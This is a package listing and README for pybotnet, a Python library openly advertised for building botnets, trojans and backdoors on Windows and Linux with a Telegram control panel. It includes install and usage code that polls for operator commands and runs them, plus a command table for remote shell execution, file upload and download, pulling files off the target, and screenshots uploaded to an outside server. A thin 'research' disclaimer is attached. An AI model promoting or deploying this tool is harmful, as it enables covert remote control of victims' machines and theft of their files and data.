pybotnet
A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel
Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.
See the TODO List if you want to help me 💕 \
Persian document داکیومنت فارسی
Features:
- Telegram anti-filter control panel
- get command from telegram and execute scripts
- get command and send message by third party proxy
- get target info
- sleep source by Optional message
- get ls (dirctory list)
- export file to targets system
- import file from target system
- get screenshot
for more, see commands table end of this page
Requirements:
- Python 3.6 or higher
- Telegram account
Usage:
pip install pybotnet
from pybotnet import pybotnet
import time
# change TELEGRAM_TOKEN and ADMIN_CHAT_ID to valid data:
# telegram api token (Get it from the telegram @botfather)
TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'
# telegram account number ID (get it from @userinfobot)
ADMIN_CHAT_ID = '12345678910'
# * is_sheel: if you compile code without shell: is_sheel=False
# * show_log: just for debugging
# * send_system_data: send system short info in every bot messages in telegram
bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID,
show_log=True, send_system_data=True, is_shell=True)
delay = 10
while True:
print('*-*'*15)
bot.get_and_execute_scripts_by_third_party_proxy()
time.sleep(delay)
Commmands:
Send this COMMANDs to your api bot in telegram, using the admin account.
for run command on one target:
<Target_MAC_Address> <command>66619484755211 get_info
| COMMAND | Sample | DO THIS | version | tested on |
|---|---|---|---|---|
get_info |
get_info |
return system info | 0.06 | windows, linux |
do_sleep <scconds> <message (Optional)> |
do_sleep 99999 hi, i see you! |
<if message != none : print(message) > ; time.sleep(seccond) | 0.08 | windows, linux |
cmd <system command> |
cmd mkdir new_folder |
run system command in shell or cmd (Be careful not to give endless command like ping google.com -t in windows or ping google.com in linux) TODO:add timeout |
0.07 | windows, linux |
ls <route> |
ls C:\ , ls /home |
Returns a list of folders and files in that path | 0.09 | windows, linux |
export_file <link> |
export_file https://github.com/onionj/pybotnet/archive/refs/heads/master.zip |
target donwload this file and save to script path route | 0.14 | windows linux |
import_file <file_route> |
import_file /home/onionj/folder/somting.png |
get a file from target system (limit:5GB) | 0.17.0 | windows, linux |
screenshot |
screenshot |
Takes a screenshot, uploads it to the online server and return the download link | 0.18.1 | windows, linux |
help |
help |
send commands help | 0.18.5 | windows, linux |
Metadata
Release files for pybotnet 0.18.6
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| pybotnet-0.18.6.tar.gz | 25.8 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| pybotnet-0.18.6-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 50.0 kB
Release files / pybotnet-0.18.6.tar.gz
| Download URL | pybotnet-0.18.6.tar.gz |
|---|---|
| Size | 25.8 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
23c8d0bef43ea2bccff7c7b57e44e9ee372dac6dae867a2360ba0e16af98fe71
|
|
BLAKE2b-256 checksum How to use checksums |
d6dfb4602750261654eeb9242bd184b0c30a3f40caa49569230644f1fc9873a9
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/3.4.2 importlib_metadata/4.6.1 pkginfo/1.7.1 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.61.2 CPython/3.8.6
|
Release files / pybotnet-0.18.6-py3-none-any.whl
| Download URL | pybotnet-0.18.6-py3-none-any.whl |
|---|---|
| Size | 24.2 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
5e1ca3d83eee8b64075b10a11381b16fdd7b0d64234aa2aefb638aa798340ef3
|
|
BLAKE2b-256 checksum How to use checksums |
c64208a5c09ba593beab1fccf012c5836e84f0ea7ec9610abf83dc1583ed3b26
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/3.4.2 importlib_metadata/4.6.1 pkginfo/1.7.1 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.61.2 CPython/3.8.6
|